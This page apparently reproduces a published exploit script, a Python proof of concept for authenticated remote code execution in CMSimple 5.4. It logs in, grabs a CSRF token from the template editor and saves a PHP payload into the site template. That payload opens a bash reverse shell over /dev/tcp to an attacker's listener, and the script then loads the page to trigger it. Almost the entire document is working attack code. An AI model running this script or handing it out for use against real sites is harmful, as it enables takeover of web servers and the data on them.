扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
# Exploit Title: Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated) # Date: 29.09.2021 # Exploit Author: pussycat0x # Vendor Homepage: https://www.cmsimple.org/ # Version: 5.4 # Tested on: ubuntu-20.04.1 import argparse from bs4 import BeautifulSoup from argparse import ArgumentParser import requests parser= ArgumentParser(description="cmsimple ", epilog='cmsimpleRCE.py -url targetdomai.com -u username -p password -ip lhost -lp lport') rparser = parser.add_argument_group('required argument') rparser.add_argument('-url','--host', type=str, help='target domain',required=True) rparser.add_argument('-u' ,'--username', type=str, help='', required=True) rparser.add_argument('-p','--password',type=str,help='', required=True) rparser.add_argument('-ip','--lhost',type=str,help='listener ip', required=True) rparser.add_argument('-lp','--lport', type=str,help='listener port', required=True) args= parser.parse_args() #url ='192.168.1.106' s = requests.Session() def main(): try: url =(args.host) payload = { 'user':args.username, 'passwd':args.password, 'submit': 'Login', 'login':'true', } login=s.post(url +'/?Welcome_to_CMSimple_5',data=payload) if login.status_code == 200: print('Exploit Completed') else: print("Invalid Credential") cook =(login.cookies.get_dict()) temp = s.get(url +'/?file=template&action=edit', cookies=cook) soup = BeautifulSoup(temp.text, 'lxml') csrfToken = soup.find('input',attrs = {'name':'csrf_token'})['value'] #<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); rev = """<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/""" rev2=(args.lhost) rev3=(args.lport) rev4=""" 0>&1'");""" php =(rev+rev2+'/'+rev3+rev4) revpayload = { 'cmsimpleDataFileStored':'cmsimpleDataFileStored', 'csrf_token':csrfToken, 'text':php, 'file':'template', 'action':'save', } shell = s.post(url +'/',cookies=cook , data=revpayload) exec = s.get(url+'/') exit() except: pass main() |
体验盒子
